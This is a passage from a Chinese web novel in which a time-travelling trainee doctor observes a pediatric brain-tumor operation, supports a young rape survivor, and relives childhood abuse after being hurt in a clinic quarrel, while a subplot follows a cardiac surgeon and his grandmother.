有主治医生在撇嘴——马屁精。 舒映阶道:“你想跟着我学,但不了解肿瘤,那起表现为贫血的病例,你没有看出来。” “我……”奚阳华又把脑袋缩了回去。 舒映阶看向南栀,“你呢,怎么看我们科室。” 最开始南栀只是喜欢动手术,她想做外科医生,又刚好被塞进儿科,所以想选择一个主攻的方向。 箫珵昨晚说的话,让她想到不少事。 “目前为止,有关小儿神外方面的手术,基本上都是和先天性畸形有关,对于肿瘤、脑血管疾病的研究很少,更不用说是专门给孩子动手术的。但其实孩子也会被这类疾病困扰,有很多困难的家庭没钱给孩子治病,生了病就只能等死。家里富裕的,想给孩子治疗,国内又没这方面的待遇,小儿神外需要发展,早晚都会发展,我希望能多学一些,帮帮这些孩子。” 奚阳华偷偷翻白眼——马屁精。 主治医生:新来学习的都挺会拍的哦。 舒映阶道:“我曾经去海岛参观过,他们那边的医疗水平比我们要高得多,医生的待遇也更好,就不用再说那些发达国家。我们要追的路还有很多,尤其是在儿研所,我们代表的就是国内儿童医院的最高水平,希望各位都把心思放在正事上,强扭的瓜不甜,有其他想法的,尽快离开。” 南栀知道国内和国外在医疗方面的差距,但她毕竟是从后世来的,现在的科技、国家经济和后世都没法比,对于南栀来说,她其实没有太多落后的心。 现在听舒映阶这么一说,她好像明白陆嘉述、舒映阶整日忙碌的目的是什么了。 舒映阶留下研究生和手术团队。 除了护士,手术还有一助、二助、三助。 南栀还想多听一些手术的细节,依依不舍地往外挪。 直到舒映阶说:“南栀也留下。” “她没经验,上不了台,”奚阳华说,“这么大的手术,不合适吧?” 舒映阶奇怪道:“科主任?” 奚阳华:“?” “你什么时候成科主任了。” 奚阳华:“…… ” 沈玫把他拽走。 舒映阶道:“三个助手还是你们,另外三人要去学习,我会把门诊时间集中在前两天,往后两个月的手术会比较多,你们调整好时间,有事请假提前说,互相换换班,明白吗?” 主治医生们一起点头。 离开舒映阶的办公室,大家才松口气,敢大声说话了。 “舒教授不是说很多病人都是冲着她来的,必须去门诊吗,怎么把时间都安排给手术了?” “而且还是两个月,两个月都要做手术,天,舒教授的手多熟练,这是要把全国孩子的脑袋都开了。” 南栀三人跟在最后面,她好奇道:“以前舒教授不会一直做手术吗?” “都是穿插着来的,”沈玫说,“舒教授明确说明不看门诊,多排手术,这还是第一次。” 奚阳华微笑道:“很难理解吗?她是想多抽出时间带我们。” 沈玫不敢脸太大,“带你们还行,我就算了。” “都一样,”奚阳华道,“我们多去看几台手术,就能从三助做起,手艺好学得快的,说不定能直接做一助,做好一助,将来就能尽快主刀,不是为了调教我们,还能是为什么?” 他们两个都是医科大学的高才生,成绩名列前茅,用学校老师的话说,基本上就是他们这届的希望了。 尤其奚阳华,他是铁了心要做外科医生的,小儿神外空白的领域很多,他有很大的发挥空间。 不过…… 奚阳华看向南栀,“不过舒教授要你留下做什么?” 南栀想了想,说:“应该不是去打扫卫生的。” 奚阳华:“……” 沈玫道:“你别总挑南栀的刺,南栀多乖,你挑刺舒教授能看不出来吗?” 奚阳华说:“你就喜欢做和事佬,你还不知道她的来历?” “南栀是从小地方来的,但小地方也有人才,南栀是从哪里来的?临川市吧?你没听说过临川市那个儿科医生吗?经常投稿的。” 奚阳华道:“高仁?他发表的论文内容太宽泛,我昨天还在想,会不会是陆教授发表的?” “陆嘉述教授?” “在整个临川市,也找不到这个水平的人了吧?” 沈玫问南栀,“南栀,你不就是陆教授介绍的吗,你知道吗?” 南栀心虚道:“不太清楚诶,没听陆教授提起过。” “肯定是她,”奚阳华道,“我敢打赌,整个临川市都找不到一个这种水平的医生。陆教授就该和舒教授学,来儿研所,才能发挥更大的作用。” 南栀说:“可是偏远地方的孩子也需要医生啊。” “有医生有什么用?什么设备都没有,既耽误了孩子,又耽误医生自身的发展,生了重病大病,直接坐车来首都,比什么都方便。” 南栀想起一句话,她认真回复道:“原来何不食肉糜说的就是你。” 奚阳华:“?” 南栀道:“这就是只读书读傻了的例子吧?” 奚阳华:“……” 他问:“难道你还想再回临川市?你们医院能做什么检查,能做MRI吗?” 沈玫挡在两人中间,“你们都不要再吵了,我们不是在说高仁吗?唉,阳华,我真是不想说你,舒教授都提醒你很多次了,让你安静一会儿,你是真不怕被她赶走?南栀,你别理会他,他就这样,嘴碎,走吧,舒教授让我带你去手术室看看。” 儿研所的手术室比康宁医院的手术室高级得多,已经有最基本的影像设备,不像康宁医院,线都是强扯出来的。 “这些是开颅手术常用的工具,这些钻头、磨钻,这边是铣刀,血管钳什么的你肯定都会用,主要是开颅手术比较复杂,骨头比较硬。” 手术室的灯光一打,配合摆在台面上的工具,像是…… 南栀说:“这里像分尸现场。” 第77章 第77章挨打啦 小椎的手术,南栀、沈玫、奚阳华三人都只有观看权,三位助手是其他主治医生。 一助郭迁是第一次露面,大家对他的评价也很高,都说他已经能够独当一面,可以主刀,也有人说他是想多跟着舒教授一段时间,才一直坚持做一助。 这些和南栀都没关系。 她穿好无菌服提前占好位置,确认一会儿手术能看到“第一现场”。 器械护士正在忙着准备工具,南栀又看到好几种钻头。 她摸了摸头,想到韦初雪,难怪她会害怕。 直接在脑子上钻个洞,换谁都得怕。 南栀还没认完工具,奚阳华和沈玫就走了进来。 奚阳华瞥了南栀一眼,然后自己去找地方。 找来找去发现,还是南栀占的位置更好。 有点儿生气。 奚阳华只能在南栀身边挤挤。 沈玫也跟在他俩身后。 她和奚阳华来儿研所的时间不长,这次其实是第一次进手术室看,以前只能在外面看看录像。 他们都上过解剖课,看过大体老师的内部结构,但沈玫现在还是有点儿紧张。 奚阳华道:“打赌吗?” 南栀问:“赌什么?” 奚阳华掏出十块钱,“谁先害怕。” 沈玫道:“你别闹了,让舒教授知道又得挨骂,你……” 南栀抠抠搜搜掏出十块钱,但一双眼睛锃光瓦亮,“赌!一定赌!” 沈玫:“……” 这也不是个能安生的。 两人愉快地达成协定,然后一起看向沈玫。 此刻他们看到的不是同学也不是同事,而是明晃晃的十块钱。 沈玫道:“别想。” 两人失望地摇头。 沈玫无语了一会儿,对南栀道:“你怎么也跟着他胡闹?” 南栀:“怎么能和钱过不去?” 奚阳华道:“说得好像你一定能拿到钱,我第一次上解剖课时可一点儿反应都没有。” 南栀挺纳闷,上解剖课为什么会有反应? 大体老师的状态和活人的状态能一样吗? 不过她还是没上过学的人设,只能拍手夸赞,“你可真厉害。” 手术工作已经准备好,舒映阶核对完患者身份信息,开始日常教学。 “颅腔以小脑幕为界,分为幕上、幕下两部分。我认为肿瘤切除术可以按照肿瘤位置来区分,幕上肿瘤切除术可以分四部分,大脑半球、鞍区、第三脑室、侧脑室。幕下肿瘤切除术包括小脑半球,小脑蚓部和第四脑室。” 内容对南栀来说很基础,但只是因为她学习的是前辈们总结整理过的知识。 对舒映阶来说,这些都是她自己研究总结的,没有成套的教科书、教辅,难能可贵。 南栀对舒映阶的崇拜又上了一层楼。 奚阳华和沈玫都在记笔记。 他们两个人对小儿外科方面的手术都停留在主要病种先天性畸形上。 奚阳华见南栀只听不记,偷偷在心里鄙视她两秒钟。 “术前准备,手术团队依据MRI、CT确定肿瘤位置,制定手术入路。” 这话是对南栀三人说的,在手术之前,舒映阶已经和手术团队开过会,三人都没去。 “做手术要调整患者的体位,主要是方便开刀。患儿为幕上肿瘤,确定入路后可以动手。” 舒映阶手起刀落,切开头皮。 她的速度与陆嘉述不相上下,两个人都是经验丰富的老前辈。 头皮剥离后,舒映阶开始在颅骨上钻孔。 有些手术的确需要体力,舒映阶的身体情况比同龄老人强得多,但南栀能想象到,如果她再年轻一些,一定会做得更好。 沈玫听到这声音,下意识捂住耳朵,舒映阶钻好孔后,看了沈玫一眼,沈玫尴尬地往后退去。 南栀和奚阳华还在不影响其他人的情况下往前凑了凑。 钻孔后,舒映阶用铣刀取下骨瓣,骨瓣需要保存好。 脑组织在硬脑膜下,暴露脑组织还需要切开硬脑膜。 在助理的帮助下,这一过程迅速完成。 舒映阶看着暴露的脑组织,好一会儿没动,接着看向南栀,“看清楚了?” 奚阳华以为舒映阶是在和他说话,点头道:“我都记住了。” 南栀也跟着点点头,舒映阶才继续进行下一步。 沈玫的脸色已经变了。 大脑半球被纵裂隔开分为左右两侧,分为额、颞、顶、枕和岛叶。 打眼一看,血糊糊的。 组织都是新鲜的,这场面不能说是很好。 奚阳华看得龇牙咧嘴。 的确和他看过的大体老师不一样。 “如果硬脑膜张力高,可提前静脉滴注脱水药物。” 翻开硬脑膜后,舒映阶已经能看到肿瘤。 南栀眼巴巴地往前凑。 沈玫没动,奚阳华皱着眉,跟着往前挪了两小步。 郭迁道:“这可真不小。” “看重量有一斤,”舒 映阶问,“认识这个肿瘤吗?” 这话肯定不是问郭迁的。 奚阳华皱着眉看了半天,“我查过资料,一般都是胶质瘤?” 舒映阶皱眉。 南栀道:“星状的,星形细胞瘤?” 舒映阶眉头舒展。 “我知道有人冲着我的名气来的,但对我正在做的事情却一无所知,这是对不负责,也是对你自己不负责。” 郭迁先看向沈玫。 沈玫:“?” 她赶紧看奚阳华。 这锅可不能背。 奚阳华尴尬道:“这些我都学过,只不过……” 没见过,不敢确定。 他看向南栀,“你也是第一次看神外的手术,你怎么敢确定?” 南栀可不是第一次看,神外的手术视频她也研究过,很多官方都会提供。 奚阳华吃亏就亏在没有资源上。 不过这话也不能直接说,于是南栀说:“我天赋异禀。” 奚阳华:“……” 舒映阶意味深长道:“出身确实说明不了什么。” 带实习生而已,手术室其他人不太关注。 只有郭迁好奇地打量南栀。 接下来的工作就是切除肿块。 “位置不好的肿瘤可能只允许部分切除,小椎有假性包膜,分界比较清晰,位置不身分,要争取做全切除。” 舒映阶拿起脑压板,分离肿瘤周围的白质水肿带,再用吸引器吸除破碎组织。 每做一步,她便解释一两句,还给南栀几人留观察的时间。 奚阳华越看越反胃,尤其是肿瘤的白灰部分。 他偷偷看了眼南栀,南栀兴致勃勃,恨不得直接钻进去。 奚阳华:“……” 她就不是个正常人。 破碎组织后,电凝并切断肿瘤血管,将肿瘤全部剥离切除。 “对囊性变且囊内有瘤结节的肿瘤,可先放出部分囊液,再将瘤结节切除。注意判断囊壁是否为肿瘤。如果肿瘤的位置比较深,该怎么办?” 几名助理同情地看向三人。 这些提问对于经验丰富的医生来说不难,但对学生来说,可能没有太好的总结可以学习。 尤其舒映阶还以严格著称。 奚阳华没关注过肿瘤,支支吾吾道:“换个入口?或者沿着,恩,脑沟?沿着脑沟切开?” 舒映阶看向南栀。 南栀道:“可以沿着该部脑沟、脑裂切开,或者切除某一块无功能的脑皮质,分开白质向肿瘤方向逐步深入。” 舒映阶问:“如果肿瘤在运动区或者其他重要的功能区深部该如何?” 南栀对答如流,“如果该区存在功能,先切除肿瘤远离功能区的一段,然后由瘤内朝功能区分块全切除。” 舒映阶继续手术。 护士小声道:“挺厉害啊,舒教授都没挑错。” “医科大学的高材生,估计成绩挺好的。” 他们还分不清南栀和奚阳华都是从哪里来的。 舒映阶开始止血,然后缝合硬脑膜。 “硬脑膜缝合最后一针前,可以填充生理盐水,尽可能排出颅内的空气。” 接着她将缝线打结。 硬脑膜中间用线悬吊在骨瓣中间的小孔上,固定骨瓣。 最后缝合头皮。 舒映阶手法娴熟,切除肿瘤时干净利落,她的水平恐怕只有陆嘉述能相比。 南栀越看越激动。 她一定要跟着舒教授好好学! 手术结束后,南栀给郑岩递去消息。 “手术成功,术后安排在ICU,每天下午可以探视,护士随时会联系你,尽量不要离开,或者留下联系方式,确保我们能找到人。” 郑岩连连点头。 南栀看到郑媛媛也在手术室外,只不过没过来。 她走向郑媛媛,“小椎的手术……” “成功了,我听到了。” 南栀说:“三级纤维星形细胞瘤,大病理还要过几天。” 郑媛媛问:“是遗传的吗?” “小儿颅内肿瘤的原因还不清楚,有的和异位发育有关,还有的和成人一样,比如基因突变、癌基因和抑癌基因的异常表达,无论如何都与你无关。” 郑媛媛眼眶微热,“谢谢你。” 南栀知道她最担心什么。 郑媛媛道:“我已经决定去姑姑家住了,姑姑一直对我很好,而且她也不赞同我把孩子生下来。爸爸说他会付给姑姑抚养费,还有我的学费,但我还是怕太打扰姑姑。” 南栀鼓励道:“去试试吧,好好学习,考上大学,将来赚钱了,再回报姑姑。” 郑媛媛问:“我还能考得上大学吗?” 她落下太多课程,还生过孩子,如果回学校,比同年级的学生年纪都大,她也不知道大家能不能容纳她。 南栀问:“你知道刚恢复高考的情况吗?” 郑媛媛摇头,那会儿她才几岁。 “有太多人攒在一起考大学,考场上什么年龄段的人都有。其实读研也是,有很多人工作之后,又想继续深造,就会比同龄人大。还有一些人在读研读博时就怀孕生子,都是很正常的情况。” “可我不是……” “你也没什么不一样,只是遇到了一些和普通人轨迹不同的事情而已,但这不是你的错,也不该是你负责,如果有谁容不下你、看不起你,那是他不行,不是你不好。” 郑媛媛的眼睛越来越红,“我真的可以吗?” “当然啦,”南栀秀了下肌肉,“谁欺负你,你就打回去骂回去,听着不太靠谱,但管用。” 正常的教育应该是告诉老师或者告诉家长。 南栀不知道找家长有没有用,她没试过。 欺负她的人不多,她的同学们大多都很保护她,她只在初中时遇到过和社会青年混在一起的。 有两个电线杆男生向她表白,南栀不想搭理,就天天叫一大帮各个班级的莫名其妙的人堵她。 关键是长得也不怎么样,还总叫嚣。 南栀被堵了两次,有点儿烦,私下找了两个堵她的人,把其中一个锁在厕所,另一个还没发育,又矮又小,南栀给了他一些亲切的教育。 追南栀的男生觉得自己丢人了,很生气,还想搞更大的阵仗,结果被南栀班里其他人知道,一个班的男男女女一起找上门,对方落荒而逃。 如果告诉家长,家长应该也会保护孩子吧? 南栀叮嘱道:“你也不要怕跟不上,有不会的就来问我,我可以帮你整理笔记,这方面我很在行的。” 郑媛媛咬着唇看了南栀好半天,红着眼眶点头,“谢谢姐姐,姐姐你一定是学习很好,我也要和你一样读医科大学!” 南栀笑着说道:“我学习还行,不过没机会读大学。” 郑媛媛:“你是高中生吗?” 南栀:“不是哦,我只读过小学。” 郑媛媛:“……” 啊? 那一定是堪比大学难度的小学!! 郑媛媛:“我一定向你学习 !!” 奚阳华去手术室排队洗了个澡才出来。 就算是在首都,大家洗澡也很不方便,医生们经常在手术室蹭澡。 沈玫邀请道:“太晚了,一起去食堂吃饭再回家?” 南栀没拒绝,她朝奚阳华伸出手,“十块钱。” 奚阳华:“?!,我为什么给你!” 南栀说:“你害怕了呀。” 她都看到了,奚阳华偷偷往后躲,表情还不对劲。 奚阳华粗声道:“你看错了!我一点儿都不害怕!” 南栀问:“那我们一起去吃饭?” “去就去!” 食堂的晚饭也供病人供应,比较清淡。 南栀端着盘子,口中念叨着,“脑花脑花,吃个脑花……” 奚阳华眉头紧皱,开始反胃。 沈玫没凑到前面,反倒好很多。 南栀:“脑花最好了,这种时候就该吃脑花,尤其是烤脑花,香喷喷的烤脑花,特别好吃,火锅里也可以涮脑花,脑花这东西啊……” 奚阳华冲到垃圾桶旁疯狂呕吐。 沈玫:“……” 他完全不是南栀的对手。 南栀高高兴兴地跟过去,朝他伸出手,“十块钱。” 快要吐死的奚阳华:“……” 这对吗!! 南栀莫名其妙赚到十块钱,很高兴,还奖励给自己一个大鸡腿。 毫无胃口的奚阳华:“……” “你快吃,”南栀催促道,“你不是很心疼郑岩吗?吃完还得帮他去洗尿布。” 生无可恋的奚阳华:“……” 他怎么会知道郑岩的女儿是被**,他还要强迫女儿把孩子生下来啊!! 奚阳华愤愤不平地骂道:“**犯的孩子也得生,一点儿都不考虑女儿的感受!” 冲奚阳华这句话,南栀觉得他还有一点点救。 “以后郑媛媛每次看到小椎,都会想到这段经历,亏他想得出来,居然让郑媛媛把孩子生下来!神经病!他才应该做颅脑手术,打开脑子看看里面是不是全都是肿瘤!” 南栀道:“可你又不了解肿瘤。” 奚阳华:“……” 让他自杀!都别拦着他! 奚阳华觉得不公平,“我光顾着看手术,都忘了看你害不害怕,你还偷看我。” “我哪有偷看你,”南栀无辜道,“我只是顺便看下大家都在做什么。” “看大家?” 南栀说:“当然要看啦,以后我们上台,也得先从助手做起,难道不该知道每个人要做什么?还有巡回护士、器械护士,都得了解才能上台吧?” 奚阳华:“……” 他当时只顾着看舒映阶的操作,完全没心情关注其他人。 就算是舒映阶的操作,他都没能记牢。 南栀随便看看就能记住? 南栀:“凡事都有逻辑,死记硬背当然记不住,只要顺着逻辑记就好啦,没问题的,很简单的。” 奚阳华:“……” 他捂着胃说道:“胃痛。” 沈玫淡笑,“果然有天赋还是很重要的。” 奚阳华:“……” 现在浑身上下都痛了。 小椎恢复得还不错,做完手术后血色素便开始升高,后续还要放射治疗。 接下来三天,南栀白天跟着舒映阶在门诊,晚上去富雅医院看望韦初雪。 韦初雪的情况也不错,已经确定是良性肿瘤,可以痊愈。 虽然还要休息一段时间,但将来还能继续做医生,是好事。 韦家在富雅医院虽然没有人脉,但有金钱的力量,等韦初雪出院后,韦家人打算安排她去条件更好的康复医院住一段时间。 只不过中间出了点儿小插曲。 第三天晚上,南栀刚到ICU前,正打算求着神外主任让她进ICU看看,就看到韦初雪的奶奶坐在ICU门前哭天抢地。 南栀的魂儿都被吓跑了,她连忙跑过去扶起奶奶,“韦医生出事了吗?” 奶奶眼泪汪汪,“小利,小利走了!” 南栀松口气,“还好还好。” 奶奶:“……” 虽然韦利可恶,但奶奶应该没参与这些事,可不好气老人家。 南栀赶紧改口,“这太让人悲痛了。” 奶奶:“……” 她推开南栀,“一点儿都不像!” 被南栀一闹,她也没心情哭了。 儿子病重离世,儿媳还在等法律的审判,将来要支付一大笔赔偿金,虽然瘦死的骆驼比马大,但韦家不可能再回到从前。 她落寞地看着ICU的门,看着进进出出的护士,愈发无力。 南栀道:“奶奶,也有好消息啊,初雪的肿瘤是良性的,您可别难过,您还得照顾她呢。” 奶奶看了南栀一眼,气哼哼道:“如果不是你们,我儿子能出事吗?” “话可不是这样说的,如果不是你儿子做了害人的事,警察会找他吗?葛晓凡和初雪一样年纪,初雪还有机会在医院治疗,葛晓凡有机会吗?还有那些被‘买’器官的普通人,难道他们就活该经历这些?” 奶奶不作声了。 谁能想到韦利那兔崽子居然联合医生从那些有钱人手里掏钱? “你就别拐弯抹角地训我了,不就是想要钱吗?”奶奶背对南栀,看不到她的表情,“我已经安排好了,该赔偿的我们都赔偿,该赔命的,这条命也赔进去了,实在不行我也去赔命,我这把老骨头,也活不了多久了。” 南栀提醒道:“您还得照顾韦初雪。” 奶奶:“……” 她气呼呼地转过身,“你看不出我在伤感吗?我在伤感!” 南栀试图理解,“呃,忧伤?” 奶奶:“……” 她就不该和南栀搭话!! 南栀实在想不明白,韦利害了别人,奶奶有啥好忧伤的? 龙潭还记得南栀,他和护士长打了招呼,南栀被放进ICU。 韦初雪是醒着的,她术后没有并发症,一切正常,护士都夸她省心。 韦初雪笑眯眯地看着南栀,问:“跟舒教授学得怎么样。” 提到这个话题,南栀的眼睛完全亮了,“舒教授做手术时好帅!开颅手术,开脑子诶!还要用些大家伙,舒教授一个人就能完成!哎,我觉得她给成人做手术也很好,只不过她比较想专心一个领域。她能专心小儿神外也很厉害诶,咱们国家其他医院根本没有这一单独的科室,舒教授能凭借自己的本事,拉扯一个专门做小儿神外手术的队伍,真的太厉害太不容易了……” 她吧啦吧啦地说不完。 中心思想只有一个,要跟着舒教授好好学!回到康宁医院后,她也要在康宁医院拉扯出一个神外来! 舒映阶往后一个月都在不停地做手术。 只要舒映阶做手术,南栀就要跟着上台学习。 舒映阶不做手术时,她就把南栀安插在其他主刀医生的手术团队里,尤其是小儿常做的手术,比如各种各样的直肠手术、直肠肛管手术、癫痫手术、 肺部的手术。 总而言之,凡是儿研所能做的手术,南栀都得去看。 她每天光在手术室转悠,对手术室了如指掌。 儿研所的各个手术团队也渐渐发现手术室总会多一个人,对她议论纷纷。 “是舒教授安排的?舒教授的学生?” “只是来进修的,光进修就要做到这个地步?” “每台手术都来看,能记得住吗?一个人怎么可能做这么多台手术,没用啊。” “听说是从小地方来的,那边没有小儿外科。” “这倒是,咱们儿研所也是全国独一份了。” 舒教授的安排,没人敢有异议,反正南栀不会惹什么事,大家也就让她看着。 中间两天,舒映阶又开始去门诊,南栀便跟着她一起去。 舒映阶的门诊一般都要加号的,她经常在诊室坐一整天,午饭都要南栀帮她打过来,挑人少的时候赶紧吃两口。 南栀也不敢太清闲,直接去食堂打两份饭,打完就往诊室跑。 奚阳华和沈玫还在吃饭。 奚阳华有点儿酸,“我怎么觉得南栀现在像舒教授的助手?有几台手术我想去看,舒教授说我还不到这个程度,不让我去。” 沈玫道:“这就说明南栀到这个程度了,可以去看。” “怎么可能?!”奚阳华不相信,“你知道她去看了多少台手术吗?不光是神外的,胃肠肝胆心,就没有她不去看的手术,谁能学会这么多手术?真当自己是全科医生,全科医生是好词吗?” 沈玫也知道一个人不可能学会这么多手术,就算真学了,也不能精通。 不过舒教授这样做肯定有她的道理。 “你就别抱怨了,舒教授不是也夸你了吗?” “我?”奚阳华奇怪道,“夸我了吗?夸什么?” 沈玫淡定道:“说你尿布洗得最好。” 奚阳华:“……” 这对吗!! 南栀回到科室,科室内又进了新的病人,是一对年轻夫妻带着孩子。 夫妻俩很年轻,看着也就二十多岁,两人身上都有明显的纹身,男人的纹身在胳膊上,他穿得少,一抬手就能看到。 南栀到时,两人正在争执。 女人声音尖锐,“我都说了早点儿带孩子来看看,你非说是正常的,现在闹到儿研所来,还要花更多的钱!” 男人也不甘示弱,“花的还不是我赚的钱?你抱怨什么,你上班吗?!” “喂!我嫁给你,就是看你赚得还可以,你现在赚得越来越少,还有脸说?!你如果养不起老婆孩子就趁早说!” 两人吵得很凶,小女孩可怜巴巴地坐在椅子上哭。 南栀走过去试图拦住对方,却被男人推开,“医生你别管,我们今天必须得把话说清楚!” 舒映阶在看女孩的病历,她已经去其他医院诊治过。 南栀小声问:“舒教授,什么情况啊?” “发热、昏迷,其他医院查不了,送过来了。” “脑子的问题?” “还不清楚,得做个脑脊液常规,脑脊液培养,还有肝功,唉,还得查挺多。” 两人说话的工夫,年轻夫妻吵得更凶了,男人开始推搡女人。 眼前的场景让南栀呼吸困难,心里好像多了东西,一直堵着。 尤其是女孩的哭声,更让她烦躁。 南栀道:“你们来医院是给孩子看病的,要吵架出去吵。” 根本没人听南栀说话。 舒映阶道:“叫保安吧。” 南栀点头,她刚拿起电话,便见女人抽出背包里的东西砸向男人。 最开始是钱包、钥匙,接着是水杯。 保温杯似乎没拧紧,她重重地摔在地上,杯盖撞击到硬面被弹开,飞速朝南栀而来,正正好好砸在她额头上。 鲜血顺着额头往下流,有两滴正好落在睫毛上。 舒映阶紧张地站起来。 吵架的两个人也不吵了,慌张地凑到一起,竟然还手拉着手。 小女孩哇哇大哭。 南栀听不到声音,但她知道女孩在哭,哭声很熟悉。 她愣了足足一分钟,舒映阶给她紧急包扎她都没有反应。 世界好像被抽走一切声音,一些不太清晰的记忆在脑中浮现。 爸爸妈妈也是这样的。 为了南栀,为了弟弟的病,他们每天都在吵架。 最开始只是普通的争吵,进而发展到动手,每次都是爸爸动手,妈妈砸东西。 南栀躲在书桌下偷偷哭,爸爸妈妈听到她的声音更烦躁,妈妈会顺手拿东西砸向她。 一般都是柔软的东西,她只会害怕,不会出事。 有两次气急了,抓的都是闹钟、钢笔,这两次南栀都进医院了。 在医院里,南栀没看出妈妈很着急。 她从小就知道爸爸妈妈不喜欢她。 他们经常说,弟弟的病是她害的,他们是双胞胎,一个完全健康,一个病弱,是她抢走他的营养。 他们不许她接近弟弟,也不喜欢她跟着箫珵。 如果吵架,他们会把箫珵赶走,至于南栀在哪里,他们不太关心,也不会特意避开她。 她早就知道的,她不招人喜欢。 南栀想起她三年级时,老师让写有关父爱母爱的作文。 她写不出来,交了空白的作文纸。 其实她当时念的学校是专门为没有亲人的孤儿开设的,老师应该知道是什么情况。 但对于她交空白的作文纸,老师还是不满意,她认为南栀在和她作对。 不知道,那就编,作文不是纪实。 于是南栀一遍又一遍地在本子上写,母爱温润无声,母爱如暖阳,母爱…… 写着写着就相信了。 南栀不知道过了多久,才听到舒映阶在叫她的名字,“南栀?你没事吧?” 南栀回过神,挤出笑容,“舒教授,我没事的。” 她沉默地收好染血的绷带,然后看向女孩。 女孩已经躲到桌下,哇哇大哭。 南栀朝女孩伸出手,“来,我们给你看病,治好了就不会难受了。” 女孩迟疑地看着南栀。 年轻夫妻还在害怕,“医生,我们不是故意的,您看您站得也不是地方,非得站在……” 南栀道:“闭嘴。” 两人打了个哆嗦,不敢再说话。 南栀看着女孩,再次说道:“别害怕,走出来。” 女孩慢慢挪出来,把手放到南栀的手中。 年轻夫妻虽然吵得凶,还喜欢动手,不过该做的检查一个都没少做。 女孩昏迷的原因也查出来了,是脑膜炎。 舒映阶道:“我记得有人写过相关的论文,121组病历,病因分八种,28.9%是中枢神经系统感染,其中包括脑膜炎、脑炎、乙脑、脑脓肿。” 南栀道:“我看过这篇论文,还有休克、严重缺氧、重症腹泻、脱水酸中毒、颅脑外伤……” 舒映阶愣了片刻,笑道:“你真的很爱学习。” 南栀说:“闲着也是闲着,不如多看看期刊。” 舒映阶看着南栀拧起眉。 今天这事发生后,南栀就没再笑过了。 她已经来了一个多月,舒映阶自认为了解她,但现在的她,舒映阶有点儿看不懂。 舒映阶道:“其实我们做医生的,面对这么多患者,遇上几个不讲理的人很正常。不能因为一个人就丧失工作的热情,绝大部分都是正常人。” 南栀听了一会儿才说:“您误会了,我没想这件事。” “那你……” 南栀打断舒映阶,“舒教授,我看的书比较杂,以前没有方面,各方面的书都会看一看,您给我推荐一些期刊吧,还有以后我回到康宁医院该怎么买这些期刊,可能要麻烦您帮我问一问。” 舒映阶蹙起眉,看了南栀好一会儿。 南栀神色如常。 舒映阶道:“你放心,不会埋 没你。” * 最近几周陆随很忙。 前些日子他遇到一起把主动脉夹层误诊为心梗的病例,如果患者能第一时间在康宁医院的心外科接受治疗,有他和箫珵在,患者还有保命的机会。 但患者似乎更认可恩德医院,即便现在的恩德医院已经声名狼籍,内部的管理层全都大换血了。 陆随便找了几个做过手术的病人,又联系报社,以回访的名义请报社记者报道,让临川市的人知道,心脏有问题,可以考虑康宁医院,不要只往恩德医院跑。 陆随倒是不在意医院的名誉,只是现在能做这类手术的医院太少,现在的交通工具也不能及时把患者送到大城市,能救一个是一个。 他每天都加班,很晚才能回家,还经常连轴转。 学历问题也得考虑,现在研究生的学历是够了,但读博总能学到更多东西。 陆随回到家已经是凌晨一点钟。 他刚进家门,陆嘉述便从地下室钻了上来。 她的大孙子以前太懦弱,她看他连骂人都不敢,自己也跟着生气。但最近大孙子硬气得过了头,偶尔还会反驳她几句。 这是好事,起码不会被欺负。 不过陆随最近的状态可不一样。 陆嘉述道:“做医生也要爱惜自己的身体,别学什么舒映阶,把自己的身体搞垮了,以后有人想找你看病都没地方找!难不成请个神婆去地府找你问诊?!” 陆随有点儿累,倒在沙发上说道:“这都是正常的,您别太在意。” “我能不在意吗?真累死了,又少了一个能给心脏动刀子的人,你算算,是不是亏了!” 陆随揉着太阳穴说道:“只不过恰好最近比较忙,没事。” “那也不行!”陆嘉述态度强势,“我看你就是上火了,你该出去散散心,正好首都那边要开会,你替我去一趟。” 陆随动作停下,片刻后说道:“您是儿科医生,我是心外的,我替得着吗?” “一个破会,又不是病例交流会,有什么好开的?你就去一趟,代表我,代表陆家,也去露露脸。正好南栀也在首都,你去看看南栀,陪她散散心。” 陆随背过身去,“不去,我不需要散心。” 几秒钟后,他又坐了起来,“什么叫我陪她散散心?” 陆嘉述这才担忧道:“刚刚小舒给我打电话了,我们说好的,一起培养南栀,要随时沟通,她说南栀最近几天状态不对。” “太累了?” “她会感觉到累?她恨不得把24小时当成48小时来用,能累吗?”陆嘉述道,“说是前几天患者家属在诊室里吵架摔东西了,她受了点儿伤。” 陆随猛地站起来,“受伤了?!” 陆嘉述捂着心脏捶陆随,“你能不能别一惊一乍的,吓死我了!” 陆随:“……,您慢慢说,她受伤严重吗?” 陆嘉述这会儿反倒不着急了,“呵呵,你不是不去吗?你不去我就拜托别人去,我看南栀和阮乔关系也不错,就让她去。实在不行让萧医生去,你们心外的那个萧医生也是心灵手巧,很在意南栀的嘛,南栀能缺市场吗?肯定不缺。” 陆随:“……” 他安静了一会儿,讨好道:“奶奶,我才是您亲孙子,对不对?” “那你去首都吗?” “……我考虑考虑。” 陆嘉述转身就走,“我去找萧医生。” 陆随立刻拉住她,“去,我去还不行?” “就你嘴硬,”陆嘉述瞪了他好几眼才接着说,“南栀吧,心情不太好,你心情也不好,正好你带着南栀出去转转。” 陆随道:“因为受伤,心情不好?” 不像是南栀的作风。 “我也没听明白,小舒说她受伤之后就没怎么笑过,很安静,按理说她不该这样。” 陆嘉述心目中的南栀,抗压能力很强,抗打击能力也很强,说实话她觉得做医生这两点还是很重要的。 陆嘉述担忧道:“所以派你去看看她,你俩早晚要结婚……唉,耽误了。” 陆随:“……” 原来不是担心他啊? 陆嘉述假情假意道:“你是我孙子,我怎么可能不担心你,只是顺便把你俩的问题一起解决了,多好。” 陆随不语。 他去首都是解决问题的吗?只会加重问题。 陆随说:“你还是去找萧医生或者阮医生,我去了,她可能更不高兴。” * 跟在舒映阶身边,南栀已经足足记了两个厚本子的笔记,每一页都是精华,没法去掉的。 南栀还抽时间去首都其他几家医院看了看,打着舒映阶的名义去参观他们的手术室,然后把现在能用的设备记下来,以后如果遇到康宁医院无法解决的病例,可以有针对性地推荐。 她每天都很忙,忙到没时间想其他事。 舒映阶开始动让南栀上台的心思,但这姑娘最近看起来状况不对。 “良性肿瘤的手术,影像可见肿瘤表面光滑平整,边界明显,手术难度不高,你来做二助。” 说是手术难度不高,但只是相对其他颅脑手术而言,打开脑子的手术就没有简单的。 奚阳华第一个反对,“教授,我们都还没做过助手。” 舒映阶奇怪道:“南栀已经有开刀经验,她是来进修的,你只是学生,过两月还得去其他科室,她比你进度快不正常?” 奚阳华:“……” 